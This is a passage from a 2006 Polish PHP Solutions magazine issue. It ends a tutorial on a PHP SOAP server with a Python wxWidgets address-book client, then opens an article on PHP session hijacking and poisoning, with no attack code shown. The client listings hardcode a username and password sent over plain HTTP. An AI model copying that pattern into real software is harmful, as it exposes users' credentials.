w tablicy $this->requiredFieldsUpdate.

Drugą istotną różnicą jest to, że

updateDataInSRC() sprawdza przy po-

mocy metody checkEntryExists() (Li-

sting 8), czy aktualizowany rekord wystę-

puje w tabeli bazodanowej book. Jeżeli

takowy nie istnieje, wyrzucany jest wyją-

tek z komunikatem ERROR_NO_ENTRY.

Warto też zauważyć, że check-

EntryExists() nie korzysta z metody

getDataFromSRC() – jest to celowe, aby nie

wiązać prostej metody narzędziowej, jaką

jest checkEntryExists(), z rozbudowaną

metodą odczytu danych. Prawie identycz-

nie, jak w przypadku addDataToSRC(), wy-

gląda natomiast tworzenie prepared state-

ment, z jedną zasadniczą różnicą: tu uży-

wamy polecenia SQL-owego UPDATE, a nie

INSERT. Zwracanym przez tę funkcję komu-

nikatem o pomyślnym zakończeniu opera-

cji jest natomiast OK_UPDATED_DATA, a o nie-

powodzeniu – ERROR_UPDATE_FAILED.

Podobnie, jak addDataToSRC(), update-

DataInSRC() ma metodę publiczną, która

ją wywołuje (updateEntry()).

Kasowanie danych

Czas na ostatnią operację bazodanową:

kasowanie danych. Stworzymy w tym celu

prywatną metodę deleteEntryFromSRC()

(Listing 9) oraz publiczną deleteEntry().

Metoda deleteEntryFromSRC() przyjmuje

login, hasło oraz pojedyncze ID – pozwa-

la więc na skasowanie tylko jednego re-

kordu na raz, co jest celowe, gdyż zwięk-

sza bezpieczeństwo danych. Podobnie,

jak poprzednia metoda (updateDataIn-

SRC()), deleteEntryFromSRC() sprawdza

połączenie, zalogowanie i występowanie

pozycji w tabeli bazodanowej, a następnie

sporządza i wykonuje prepared statement.

W przypadku powodzenia operacji meto-

da zwraca OK_DELETED_DATA, a w razie nie-

powodzenia – ERROR_DELETE_FAILED.

Nasz silnik jest gotowy. Zapiszmy go

w pliku bookengine.php.

Tworzymy interfejs silnik – SOAPCzas na interfejs silnik-SOAP. Jak już wie-

my, jego zadaniem będzie przekształcanie

danych pomiędzy tablicą a XML-em oraz

ich przesyłanie pomiędzy klientem a silni-

kiem. W tej dziedzinie nigdy nie możemy

na 100% zaufać w solidność bibliotek po

drugiej stronie, gdyż są one często w wer-

sji rozwojowej. Użycie XML-a chroni nas

przed wszelkimi niekompatybilnościami.

Zaczniemy od utworzenia klasy

interface_SOAP (Listing 10), która będzie

główną klasą interfejsu silnik-SOAP i bę-

dzie udostępniana w ramach komunikacji

SOAP (o tym zaraz). Na początku usta-

limy dwie zmienne publiczne: $book (in-

stancja naszego silnika) oraz $msg (komu-

nikat o połączeniu z silnikiem). Następnie

przejdziemy do konstruktora: utworzymy

w nim instancję klasy bookengine, oraz

obiekt klasy XML_Array, służącej do kon-

wersji danych między tablicą a formatem

XML. W artykule nie omówimy tej klasy

– jej kod źródłowy (podobnie jak kod ca-

łej aplikacji) znajduje się na naszej stro-

nie WWW.

Teraz wystarczy wczytać komunikat

z silnika (getMsg())– jeżeli został zmieniony,

to silnik został zainicjowany prawidłowo.

Następne metody: getOneEntry(),

getAllEntries(), addEntry(), update-

Entry() oraz deleteEntry() odpowiada-

ją metodom klasy bookengine. Ich zada-

niem jest jedynie konwersja formatu da-

nych (tablica<->XML) pomiędzy silnikiem

a klientem. Odbywa się to przy użyciu me-

tod retArrayToXML() (tablica -> XML) oraz

retXMLToArray() (XML -> tablica) klasy

XML_Array. Zapiszmy teraz gotową kla-

sę w pliku todoserver.php i udostępnij-

Listing 7. updateDataInSRC – aktualizacja danych w bazie

private function updateDataInSRC($userName,$pass,$data){

try{

$a=$this->checkConnection();

$a=$this->checkLogin($userName,$pass);

foreach($data as $i){

// check, whether each row contains the correct data

$a=$this->checkRequiredFields($i,'update');

$a=$this->checkEntryExists($userName,$pass,$i['id']);

$stmt=$this->db->prepare("UPDATE book SET ".

...

}

return $this->msgArray("OK_UPDATED_DATA");

}catch (Exception $e){ return $this->handleExceptions($e,

"ERROR_UPDATE_FAILED"); }

}

public function updateEntry($userName,$pass,$data){

$result=$this->updateDataInSRC($userName,$pass,$data);

return $result;

}

Listing 8. checkEntryExists – sprawdzanie, czy rekord tabeli istnieje

public function checkEntryExists($userName,$pass,$id){

$query="SELECT * from book WHERE id=:id";

try{

$a=$this->checkConnection();

$a=$this->checkLogin($userName,$pass);

$stmt=$this->db->prepare($query);

....

$resultArray=$stmt->fetchAll(PDO::FETCH_ASSOC);

}

catch (Exception $e){ throw new Exception("ERROR_NO_CONNECTION"); }

// jeżeli operacje bazodanowe były OK, ale nie znaleziono pozycji,

// wyrzuć wyjątek z komunikatem ERROR_NO_ENTRY. Zostanie on przejęty przez

// metodę wywołującą, nie przez tę, w której jesteśmy

if($resultArray==array()) { throw new Exception ("ERROR_NO_ENTRY"); }

else { return true; }

}

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 66 2006-04-05, 12:21:25

Page 67: PHP Solutions 03 2006 PL

www.phpsolmag.org 67

Projekty

PHP Solutions Nr 3/2006

my ją klientom łączącym się przez SOAP.

W tym celu utworzymy instancję $x klasy

SoapServer. Następnie używając meto-

dy setClass() obiektu $x wybieramy kla-

sę interface_SOAP do udostępnienia, któ-

re rozpoczniemy przy pomocy handle().

Nasza praca po stronie serwera została

zakończona.

Ujarzmianie Pythona: tworzymy aplikację klienckąA więc doszliśmy do tworzenia aplikacji

klienckiej w Pythonie. Utworzymy plik bo-

ok_client.py i zaczniemy od zaimportowa-

nia potrzebnych modułów:

import SOAPpy,sys,copy

import xml.dom.minidom

Tutaj też utworzymy klasę interface_soap,

która w przeciwieństwie do interface_SOAP

z PHP będzie obsługiwała stronę klienc-

ką. Zacznijmy od konstruktora (metoda

__init__(), Listing 11). Inicjalizujemy

w nim klienta SOAP – klasę SOAPProxy

z modułu SOAPpy (który musi być wcze-

śniej zainstalowany) i przekazujemy jej

konstruktorowi URL serwera SOAP. Ope-

rację tę wykonujemy w bloku try..except,

odpowiadającym blokowi try..catch

w PHP: except zbiera wyrzucone wyjątki.

Listing 9. deleteDataFromSRC – kasowanie danych z bazy

private function deleteDataFromSRC($userName,$pass,$id){

try{

$a=$this->checkConnection();

$a=$this->checkLogin($userName,$pass);

$a=$this->checkEntryExists($userName,$pass,$id);

$stmt=$this->db->prepare("DELETE FROM book WHERE id=:id");

...

Listing 10. interface_SOAP – główna klasa interfejsu silnik-SOAP

class interface_SOAP{

public $book; // instancja silnika

public $msg='initial message: not connected yet';

public function __construct(){

$this->book=new bookListEngine();

$this->xarr=new XML_Array();

$this->msg=$this->book->getMsg();

}

public function getMsg(){ return $this->msg; }

public function getOneEntry($userName,$pass,$id){

$data=$this->book->getOneEntry($userName,$pass,$id);

$dataXML=$this->xarr->retArrayToXML($data);

return $dataXML;

}

public function getAllEntries($userName,$pass){

$data=$this->book->getAllEntries($userName,$pass);

...

}

public function addEntry($userName,$pass,$dataXML){

$data=$this->xarr->retXMLToArray($dataXML);

$result=$this->book->addEntry($userName,$pass, $data['data_rows']);

...

}

public function updateEntry($userName,$pass,$dataXML){

...

$result=$this->book->updateEntry($userName,$pass,$data['data_rows']);

...

}

public function deleteEntry($userName,$pass,$id){

$result=$this->book->deleteEntry($userName,$pass,$id);

...

}

} // koniec klasy interface_SOAP

$x=new SoapServer(null,array('uri'=>'http://localhost/php/'));

$x->setClass("interface_SOAP");

$x->handle();

Mariaż Pythona i PHP

Przetwarzanie XML-a

Teraz – podobnie, jak to miało miejsce

po stronie serwera – stworzymy metody

odpowiadające za konwersję XML-a na

tablicę (retXMLToArray()) i vice versa (ret-

ArrayToXML()). Wykorzystamy w tym celu

klasę xml.dom.minidom oraz rozszerzenia

pyxml. Nie omówimy tych metod w artyku-

le – ich kod źródłowy, podobnie jak klasy

PHP-owej XML_Array, znajduje się na na-

szej stronie WWW.

Korzystanie z metod PHP-owych

w PythonieNadszedł czas na zdefi niowanie metod,

za pomocą których będziemy wywoływa-

li metody PHP-owe. Nadamy im takie sa-

me nazwy, jak w PHP. Zastosujemy nawet

identyczne nazwy argumentów, z wyjąt-

kiem pass, gdyż jest to słowo zastrzeżone.

Zacznijmy od getOneEntry() (Listing 12).

Jej kod umieścimy w bloku try..except.

Zaczniemy od odczytania XML-a z serwe-

ra. Tutaj właśnie widzimy, jak używać me-

tod PHP-owych: są one po prostu meto-

dami obiektu self.server! Proste, praw-

da? Po odczytaniu danych przekształca-

my je na tablicę (self.retXMLToArray())

i zwracamy. I tu uwaga: nie zwracamy sa-

mych danych, tylko ich kopię (copy.deep-

copy(data)) – jest to koniecznie, gdyż do-

myślnie Python nie kopiuje tablicy, tylko

tworzy wskaźnik do niej, co mogłoby naro-

bić poważnych szkód.

Analogicznie radzimy sobie z pozo-

stałymi metodami dostępu do danych:

getAllEntries(), addEntry(), update-

Entry() oraz deleteEntry() – na Listin-

gu 13 przedstawiamy pierwsze wersy ich

deklaracji.

Część naszej aplikacji klienckiej odpo-

wiedzialna za dostęp do danych jest już

gotowa. Pora na interfejs grafi czny (GUI).

Tworzymy interfejs grafi czny w PythonieBędzie on wyglądał jak na Rysunku 2.

Mamy mieć możliwość przeglądania listy

rekordów książki teleadresowej i wyświe-

tlania wybranej pozycji. Chcemy też móc

dodawać nowe wpisy, a także kasować

i modyfi kować istniejące. Do tych ostatnich

czynności posłużą nam okna dialogowe.

Tworzymy lokalny model danych

Do tego jednakże potrzebujemy lokalnego

modelu danych. Nie chcemy przecież łą-

czyć się z bazą danych za każdym razem,

gdy np. przechodzimy do kolejnej pozy-

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 67 2006-04-05, 12:21:27

Page 68: PHP Solutions 03 2006 PL

Mariaż Pythona i PHP

www.phpsolmag.org68

Projekty

PHP Solutions Nr 3/2006

cji na liście. Nie chcemy również umiesz-

czać operacji na lokalnych danych w kla-

sie interface_soap, gdyż jej celem jest

wyłącznie pośredniczenie w komunika-

cji SOAP.

Stworzymy więc nową klasę, którą na-

zwiemy tempDataModel (chwilowy model

danych, Listing 14). Jej głównym celem

będzie pobieranie danych z bazy (przy

pomocy klasy interface_soap) i przecho-

wywanie ich w tablicy dataTemp, z której

będziemy mogli je pobierać przy użyciu

metod getTempEntry() (odczyt jednego

rekordu) oraz getAllTempData() (odczyta-

nie całej tablicy). Do odczytu danych z ba-

zy używamy metody reloadData(), a do

wyzerowania i odświeżenia całego mode-

lu danych – resetTempDataModel(). Klasa

pośredniczy również w kasowaniu (dele-

teEntryFromDB()), dodawaniu (addEntry-

ToDB()) oraz aktualizacji (updateEntry-

InDB()) danych w bazie, za każdym ra-

zem powodując ponowny odczyt danych

z tabeli book oraz wyzerowanie i odświeże-

nie zawartości tablicy dataTemp. Podczas

resetowania danych sprawdzamy ich po-

prawność. Gotową klasę modelu danych

zapiszemy w pliku tempdatamodel.py.

Wróćmy teraz do konstruowania inter-

fejsu grafi cznego.

Budujemy główną część

aplikacji

Tworzenie interfejsu grafi cznego rozpocz-

niemy od zainicjowania głównego okna

aplikacji – instancji mainF klasy wx.Frame

(Listing 15). Zauważmy, że konstruujemy

ten obiekt wewnątrz metody OnInit() kla-

sy MainModule, która dziedziczy z wx.App

– blok ten musi istnieć w każdej aplika-

cji korzystającej z wxWidgets. Późniejsze

utworzenie obiektu klasy MainModule()

oraz wywołanie jej metody MainLoop()

również jest niezbędne, gdyż otwiera

główną pętlę działania aplikacji wxWid-

gets – chcąc nie chcąc, musimy więc

w niej zawrzeć całą logikę programu.

Zaczniemy od konstruktora tej klasy

(__init__(), Listing 16), w którym naj-

pierw zainicjujemy klasę nadrzędną,

a następnie zadeklarujemy kilka wła-

ściwości obiektu: listy pól wymaga-

nych self.requiredFieldsAll i self.

requiredFieldsList, numer na liście

oraz ID wybranej pozycji (self.entry-

Selected i self.entrySelectedID) oraz

zdefi niujemy model danych (dataModel).

Ze względu na konstrukcję wxWid-

gets, okno (wx.Frame) musi zawierać

Listing 11. Konstruktor klasy interface_soap w Pythonie

def __init__(self):

try:

self.server = SOAPpy.SOAPProxy("http://localhost/php/todoserver.php")

except:

print "ERROR: can not connect to server"

sys.exit()

Listing 12. getOneEntry w interface_soap: używanie metod PHP-owych

w Pythonie

def getOneEntry(self,userName,password,id):

try:

dataXML=self.server.getOneEntry(userName,password,id)

data=self.retXMLToArray(dataXML)

return copy.deepcopy(data)

...

Listing 13. Deklaracje pozostałych metod dostępu do danych w Pythonie

def getOneEntry(self,userName,password,id):

def getAllEntries(self,userName,password):

def addEntry(self,userName,password,data):

def updateEntry(self,userName,password,data):

def deleteEntry(self,userName,password,id):

Listing 14. Lokalny (chwilowy) model danych w Pythonie

class tempDataModel:

def __init__(self):

self.dataInterface=interface_soap()

self.resetTempDataModel()

def reloadData(self):

# metoda prywatna

return self.dataInterface.getAllEntries('critto','1qazse4')

def resetTempDataModel(self):

# metoda publiczna

dataTMP0=self.reloadData()

self.dataTemp={}

try:

...

if(dataTMP0['data_type']=='entries'):

for i in dataTMP0['data_rows']:

id=i['id']

self.dataTemp[str(id)]=i

# porządkowanie self.dataTemp wg ID wersu danych

self.Errors=0

else:

...

def getAllTempData(self):

return copy.deepcopy(self.dataTemp)

def getTempEntry(self,id):

try:

if not(self.getErrors()):

return copy.deepcopy(self.dataTemp[str(id)]) # to MUSI być łańcuch

...

def deleteEntryFromDB(self,id):

a=self.dataInterface.deleteEntry('critto','1qazse4',id)

self.resetTempDataModel()

return copy.deepcopy(a)

def addEntryToDB(self,data):

# implikuje tylko jeden rekord

dataOK={'data_type':'entries','data_rows':[data]}

result=self.dataInterface.addEntry('critto','1qazse4',dataOK)

...

def updateEntryInDB(self,data,id):

... # analogicznie jak addEntryToDB

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 68 2006-04-05, 12:21:28

Page 69: PHP Solutions 03 2006 PL

Mariaż Pythona i PHP

www.phpsolmag.org 69

Projekty

PHP Solutions Nr 3/2006

panel (wx.Panel), na którym będą roz-

mieszczone kolejne elementy, takie jak

np. lista przewijana (wx.ListCtrl), przy-

ciski (wx.Button) czy pole tekstowe

(wx.TextCtrl), w którym będziemy wy-

świetlać dane wybranego rekordu Przej-

dziemy więc do tworzenia głównego pa-

nelu aplikacji. Utworzymy w tym celu kla-

sę MainPanel, która będzie dziedziczyła

z wx.Panel.

Potem przejdziemy do umieszczania

obiektów: przycisków self.buttons['Add'],

Edit i Remove, pola tekstowego, na którym

będziemy wyświetlali zawartość rekordu

(obiekt self.dataScreen klasy TextCtrl)

oraz listy przewijalnej, self.bookList klasy

bookListCtrl (szczegóły jej działania omó-

wimy później).

Czas na ułożenie obiektów w oknie

– służą do tego narzędzia zwane sizera-

mi, które oszczędzają nam podawania po-

zycji i rozmiarów obiektów w pikselach.

Mechanizm podobny do sizerów, tyle że

zastosowany w GTK, tzw. boksy (ang. bo-

xes) zostały omówione w artykułach Wake

on Lan (numer 2/2005), Nowe możliwo-

ści PHP-GTK2 (numer 1/2006) oraz Gla-

de GUI Builder (numer 2/2006). Jednym

z najprostszych sizerów jest wx.BoxSizer,

który automatycznie rozmieszcza kolejne

obiekty poziomo (wx.HORIZONTAL) albo pio-

nowo (wx.VERTICAL). Skorzystamy z nie-

go, aby rozlokować obok siebie przyciski

(sizerBtn).

Następnie utworzymy sizer, za pomo-

cą którego rozmieścimy wszystkie obiekty

w naszym oknie – w tym również inne si-

zery, takie jak sizerBtn. Tym razem uży-

jemy narzędzia wx.RowColSizer, które po-

zwala na rozlokowanie obiektów w komór-

kach tabeli. Utworzymy obiekt sizerP. Ko-

lumny i wersy tej tabeli możemy łączyć

(colspan i rowspan). Przy pomocy metody

SetItemMinSize() tej klasy ustalimy z ko-

lei minimalny rozmiar wybranych obiektów,

zaś metoda SetSizerAndFit samego pa-

nelu pozwoli nam umieścić sizer w oknie.

Pora na powiązanie zdarzeń (ang.

events) dotyczących utworzonych obiek-

tów z metodami callbackowymi (ang. cal-

lback methods), w których zawarta bę-

dzie obsługa tych zdarzeń. Powiązania te

opisujemy za pomocą specjalnych kon-

strukcji językowych: w przypadku wybo-

ru oraz anulowania wyboru elementu li-

sty użyjemy wx.EVT_LIST_ITEM_SELECTED

oraz wx.EVT_LIST_ITEM_DESELECTED, a dla

przycisków zastosujemy wx.EVT_BUTTON.

Została jeszcze jedna operacja: wy-

wołanie nieutworzonej jeszcze metody

populateBookList(), która będzie służyła

do wypełnienia listy danymi.

Zanim jednak przejdziemy do tworze-

nia tych metod, zbudujmy element, bez

którego nasz interfejs jest bezużyteczny:

listę przewijaną.

Lista przewijana

Lista przewijana to obiekt klasy

wx.ListCtrl. My odziedziczymy tę kla-

sę tworząc bookListCtrl (Listing 17), aby

zorganizować listę po swojemu.

Zacznijmy od jej konstruktora. Wsta-

wimy w nim kolumny listy (metoda

InsertColumn()), kolejno: numer pozy-

cji, imię, nazwisko, telefon, telefon ko-

mórkowy oraz e-mail, a także doda-

my narzędzie umożliwiające sortowanie

(ColumnSorterMixin), które wymaga po-

Listing 15. Główna pętla aplikacji wxWidgets

class mainModule(wx.App):

def OnInit(self):

mainF=wx.Frame(None,-1,'Książka teleadresowa',)

mainF.SetSize((640,480))

a=mainPanel(mainF,-1)

mainF.Show(True)

return True

x_pim=mainModule(0)

x_pim.MainLoop()

Listing 16. Konstruktor klasy MainPanel – tworzenie i porządkowanie zawartości

głównego okna aplikacji

class mainPanel(wx.Panel):

def __init__(self,parent,id):

wx.Panel.__init__(self,parent,id)

self.requiredFieldsAll=['name','surname','phone','mobile','email','www',\

'gg','aim','icq','notes','address','postal']

...

buttons={}

buttons['Add'] =wx.Button(self,-1,"Add")

...

self.dataScreen=wx.TextCtrl(self,-1,style=wx.TE_MULTILINE)

self.dataScreen.SetEditable(False)

self.bookList=bookListCtrl(self,-1)

self.sizerBtn=wx.BoxSizer(wx.HORIZONTAL)

...

#self.sizer=wx.lib.rcsizer.RowColSizer()

self.sizerP=wx.lib.rcsizer.RowColSizer()

self.sizerP.Add(self.dataScreen,row=0,col=0,colspan=4,rowspan=3,fl ag=wx.EXPAND)

...

wx.EVT_LIST_ITEM_SELECTED(self,self.bookList.GetId(),self.entryIsSelected)

wx.EVT_LIST_ITEM_DESELECTED(self,self.bookList.GetId(),self.entryIsDeselected)

wx.EVT_BUTTON(self,buttons['Add'].GetId(),self.addClicked)

...

self.populateBookList()

Listing 17. bookListCtrl, obiekt listy przewijanej (booklistctrl.py)

class bookListCtrl(wx.ListCtrl,wx.lib.mixins.listctrl.ColumnSorterMixin):

def addToList(self,dataFields,moreData=-2):

lastIndex=self.GetItemCount() # indeks dodawanej pozycji

self.InsertStringItem(lastIndex,str(lastIndex))

for i in range(0,len(dataFields)):

self.SetStringItem(lastIndex,i+1,dataFields[i])

...

def __init__(self,parent,id):

wx.ListCtrl.__init__(self,parent,id,style=wx.LC_REPORT|wx.SUNKEN_BORDER)

self.InsertColumn(0,'Nr')

...

wx.lib.mixins.listctrl.ColumnSorterMixin.__init__(self,6)

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 69 2006-04-05, 12:21:30

Page 70: PHP Solutions 03 2006 PL

Mariaż Pythona i PHP

www.phpsolmag.org70

Projekty

PHP Solutions Nr 3/2006

dania liczby kolumn, których będzie do-

tyczył. Niestety, na tym jego wymagania

się nie kończą – musimy także zdefi nio-

wać metodę GetListCtrl(), która bę-

dzie zwracała obiekt klasy wx.ListCtrl

(u nas bookListCtrl), a także tablicę

(słownik) itemDataMap (wszystkie na-

zwy muszą się zgadzać), w której bę-

dzie przechowywana kopia kompletu

danych do tablicy.

Utworzymy także metodę clearList(),

która będzie kasowała listę korzysta-

jąc z wbudowanej do wx.ListCtrl meto-

dy DeleteAllItems() oraz przypisując pu-

sty słownik do itemDataMap. Ostatnią po-

trzebną nam metodą będzie addToList()

– dodawanie nowej pozycji do listy. Sko-

rzystamy w niej z wbudowanej meto-

dy GetItemCount(), aby sprawdzić ilość

pozycji i ustalić indeks dodawanej. Do-

dawanie rekordu będzie się odbywało

przy użyciu metod InsertStringItem()

oraz SetStringItem(). Następnie użyje-

my SetItemData() do wstawienia niewi-

docznych danych każdej pozycji (w na-

szym przypadku id w tabeli bazodanowej

book), a także zdefi niujemy nowy element

itemDataMap. Klasa bookListCtrl jest go-

towa – zapiszemy ją w pliku booklistctrl.py.

Metody callbackowe

Przejdźmy teraz do tworzenia metod cal-

lbackowych klasy mainPanel (Listing 18).

Każda z nich ma argument evt – za je-

go pomocą przekazywane są informacje o

zdarzeniu. Pierwszą z naszych metod call-

backowych jest entryIsSelected(), wywo-

ływana przy wybraniu pozycji na liście, któ-

rą odczytujemy korzystając z GetIndex().

Za pomocą entryIsSelected() ustalamy

wybrany element (self.entrySelected

i self.entrySelectedID) oraz wyświetlamy

go w polu tekstowym (showEntryData()).

Z kolei metoda entryIsDeselected(),

wywoływana w przypadku anulowa-

nia wyboru pozycji (np. poprzez kliknię-

cie na pustą część listy) będzie nadawa-

ła zmiennym self.entrySelected oraz

self.entrySelectedID wartość -1.

Następnymi metodami callbac-

kowymi są te reagujące na kliknię-

cie: removeClicked(), addClicked()

i updateClicked(). W ich przypadku

ukazuje się okienko dialogowe, w któ-

rym użytkownik może odpowiednio: za-

decydować, czy chce skasować po-

zycję (removeClicked()), wpisać da-

ne nowego rekordu (addClicked())

lub wyedytować wartości istniejącego

Listing 18. Metody callbackowe klasy mainPanel oraz metody: populate-

BookList() i showEntryData()

def showEntryData(self,entryIndex):

if(self.entrySelected!=-1)and(self.entrySelectedID!=-1):

dataEntry=self.dataModel.getTempEntry(str(self.entrySelectedID))

self.dataScreen.SetValue(str(dataEntry))

string_out="imię : "+dataEntry['name'] +" nazwisko:"+\

dataEntry['surname']+"\n"+\

...

self.dataScreen.SetValue(string_out)

def entryIsSelected(self,evt):

iSelected=evt.GetIndex()

self.entrySelected=iSelected

self.entrySelectedID=self.bookList.GetItemData(iSelected)

self.showEntryData(iSelected)

def entryIsDeselected(self,evt):

...

def removeClicked(self,evt):

if self.entrySelected!=-1:

a=wx.MessageDialog(self, 'Czy skasować wybraną pozycję z bazy danych?',\

'Usuwanie wpisu',wx.YES_NO|wx.ICON_INFORMATION)

a1=a.ShowModal()

if(a1==wx.ID_YES):

result=self.dataModel.deleteEntryFromDB(self.entrySelectedID)

self.populateBookList()

...

def addClicked(self,evt):

a=editionDialog(self,-1,title="Dodawanie nowej pozycji")

a1=a.ShowModal()

if(a1==wx.ID_OK):

data=a.getAllData()

result=self.dataModel.addEntryToDB(data)

self.populateBookList()

...

def editClicked(self,evt):

if self.entrySelectedID!=-1:

chosenEntryID=self.entrySelectedID

chosenEntry=self.dataModel.getTempEntry(chosenEntryID)

a=editionDialog(self,-1,title="Dodawanie nowej pozycji")

a.setAllData(chosenEntry)

...

def populateBookList(self):

self.bookList.clearList()

gottenData=self.dataModel.getAllTempData()

for i in gottenData: # i=id

dataValues=[]

...

Listing 19. Dialog pozwalający na edycję danych wybranego rekordu

class editionDialog(wx.Dialog):

def setAllData(self,data):

...

def getAllData(self)):

...

def __init__(self,parent,id,pos=wx.DefaultPosition,size=((300,200)),title=''):

wx.Dialog.__init__(self,parent,id,title,pos,size) # inicjalizacja dialogu

self.sizer=wx.lib.rcsizer.RowColSizer()

...

labels['name'] =wx.StaticText(self,-1,'Name')

...

self.buttonOK=wx.Button(self,wx.ID_OK,'Accept')

...

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 70 2006-04-05, 12:21:32

Page 71: PHP Solutions 03 2006 PL

Mariaż Pythona i PHP

www.phpsolmag.org 71

Projekty

PHP Solutions Nr 3/2006

(edit Clicked). W pierwszym przypadku

okienkiem dialogowym jest obiekt klasy

wx.MessageDialog wyświetlający komu-

nikat: w dwóch pozostałych korzystamy

z instancji własnej klasy editionDialog,

którą omówimy później. W każdej spo-

śród tych metod dialog jest wywoływany

modalnie (ShowModal()), co oznacza, że

dopóki jest na ekranie, możliwość ko-

rzystania z pozostałych elementów na-

szej aplikacji jest zablokowana. Każdy

dialog ma przyciski (w przypadku ka-

sowania są to TAK i NIE, w pozostałych

– OK i Anuluj). Zwróćmy uwagę na spo-

sób reagowania na ich kliknięcie: po za-

mknięciu dialogu sprawdzamy zwróco-

ną wartość.

Metody removeClicked, addClicked

i editClicked() korzystają z mode-

lu danych: pierwsza z nich kasuje pozy-

cję tabeli bazodanowej book przy użyciu

dataModel.deleteEntryFromDB(). W dru-

giej uzywamy metody addEntry() tej sa-

mej klasy, a w trzeciej – updateEntry().

Każda z tych metod odświeża następnie

zawartość tabeli bazodanowej (populate-

BookList()).

Przyjrzyjmy się teraz populate-

BookList(). Na początku, metoda ta czy-

ści listę (self.bookList.clearList())

i pobiera wszystkie dane przechowywa-

ne w lokalnym modelu danych, które na-

stępnie dodaje do listy. Główna częśc in-

terfejsu naszej aplikacji jest już gotowa,

zapiszmy ją więc w pliku gui_main.py.

Dialog dodawania i edycji

rekordów

Ostatnim elementem naszego interfej-

su grafi cznego jest dialog pozwalają-

cy nam wpisywać dane wybranej po-

zycji książki teleadresowej. Ma on po-

stać klasy editionDialog, która dziedzi-

czy z wx.Dialog (Listing 19). W konstruk-

torze tej klasy defi niujemy i ustawiamy

(za pomocą sizerów) etykiety (wx.Sta-

ticText) i pola danych (wx.TextCtrl)

oraz przyciski OK i Anuluj. Potrzebuje-

my jeszcze metod pozwalających na po-

bieranie wpisanych danych z pól edycyj-

nych oraz na ich umieszczanie. Nazwie-

my je getAllData() i setAllData() – bę-

dą one korzystały z metod getValue()

i setValue() każdego pola (w pętli for).

Gotowy dialog zapiszemy w pliku edition-

dialog.py.

Tym samym zakończyliśmy tworzenie

naszego interfejsu grafi cznego – możemy

go uruchomić.

PodsumowanieJak widać, zaprzęgnięcie PHP i Pythona

w celu wykonywania wspólnego zada-

nia jest proste i daje zadziwiające rezul-

taty: stronę serwerową obsługuje potęż-

ny, a zarazem prosty skrypt PHP, nato-

miast Python świetnie sprawdza się przy

tworzeniu interfejsu grafi cznego. Istnie-

je idealny podział pracy pomiędzy model

danych, a ich prezentację. Takiego połą-

czenia można dokonać również między

PHP a dowolnym innym językiem, np.

Javą, do czego Was zresztą serdecz-

nie zachęcamy. Dzięki protokołom takim,

jak SOAP czy XML-RPC świat PHP stoi

otworem dla innych rozwiązań. �

Rysunek 2. Gotowy interfejs użytkownika

Krzysztof Sobolewski od wielu lat zaj-

muje się programowaniem, głównie w

PHP i Pythonie. Do jego ulubionych dzie-

dzin należą: bazy danych, interfejsy gra-

fi czne i algorytmy rekurencyjne. Poza

tym redaguje magazyn PHP Solutions,

bierze udział w tworzeniu polskiej Wiki-

pedii i pisze eseje na różne tematy.

Kontakt z autorem:

[email protected]

O autorze

R E K L A M A

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 71 2006-04-05, 12:21:34

Page 72: PHP Solutions 03 2006 PL

Bezpieczeństwo

www.phpsolmag.org72 PHP Solutions Nr 3/2006

zatruwanie sesji w PHP Bezpieczeństwo

www.phpsolmag.org 73PHP Solutions Nr 3/2006

Od kiedy zetknąłem się z języ-kiem PHP (a było to wiele lat temu), nieustannie zwracano mi

uwagę, że zwykle każda zmienna global-na może bez większych problemów być modyfikowana przez użytkownika. Dla-tego początkujący oraz średniozaawan-sowani programiści stosują prostą re-gułę, która zabrania przesyłania zmien-nych odpowiedzialnych np. za rozpozna-wanie zalogowania użytkownika przy po-mocy metod POST i GET. W przypad-ku GET, poufne informacje widoczne sąw pasku adresu, natomiast przy stoso-waniu trochę bezpieczniejszej POST, zo-baczymy je np. w kodzie przesyłanego formularza – agresor może więc taki for-mularz spreparować.

Lepsze kursy PHP polecają, aby da-ne dotyczące logowania przetrzymy-wać w ciasteczkach (ang. cookies). Jed-nak należy pamiętać, że nie bronimy na-szych skryptów przed szarymi użytkow-nikami, lecz przed wprawnymi włamy-

Słyszałeś o przechwytywaniu i modyfikowaniu zmiennych POST, GET i COOKIES i myślisz,że wystarczy zamiast nich korzystać z sesji, aby odgrodzić się murem od niebezpieczeństw. Rzeczywistość jest jednak znacznie gorsza: to co wydaje się być ścianą warowni, jest zaledwie ukrywającym zagrożenia przed użytkownikiem parawanem, który bardzo łatwo naruszyć.

waczami, dla których modyfikacja cia-steczek nie stanowi najmniejszego pro-blemu.

Niebezpieczeństwa płynące z sesjiKażdy zaawansowany programista PHP wie, że gdy włączymy Register Globals, zmienne sesyjne (SESSION) mają więk-szy priorytet niż zmienne typu POST, GET, czy COOKIES. W praktyce ozna-cza to, że jeśli w skrypcie zadeklarujemy zmienną sesyjną o nazwie $variable,

Techniki zatruwania sesji w PHPJakub Mrugalski

Stopień trudności: lll

Co należy wiedzieć...Potrzebna będzie znajomość podstaw PHP.

Co obiecujemy...Nauczysz się wykradania sesji PHP po-przez luki XSS, ich bezpośredniego mo-dyfikowania na serwerze, ich sniffowania przy restrykcjach serwera oraz zabezpie-czania się przed ich wykradaniem i zatru-waniem.

W SIECI

1. http://www.phpsec.org – PHP Security Consortium

2. http://www.hardened-php.net/– PHP Security Project

3. http://www.sitepoint.com/article/php-security-blunders – Top 7 security blunders

4. http://www.acros.si/papers/session_fixation.pdf– session fixation

Page 73: PHP Solutions 03 2006 PL

Bezpieczeństwo

www.phpsolmag.org72 PHP Solutions Nr 3/2006

zatruwanie sesji w PHP Bezpieczeństwo

www.phpsolmag.org 73PHP Solutions Nr 3/2006

a następnie prześlemy do skryptu zmienną o takiej samej nazwie przy uży-ciu metody POST lub GET, skrypt bę-dzie używał wartości zapisanej w zmien-nej sesyjnej.

Zmienne sesyjne zapewniają nam tak naprawdę znikomy stopień bezpie-czeństwa, gdy nasz skrypt używają-cy sesji znajdzie się na publicznie do-stępnym serwerze. Nie tylko, że może-my je modyfikować, kasowac i nadpisy-wać; możemy również przechwycić se-sję innego użytkownika i w efekcie być zalogowanym (np. na forum lub blogu) jako on.

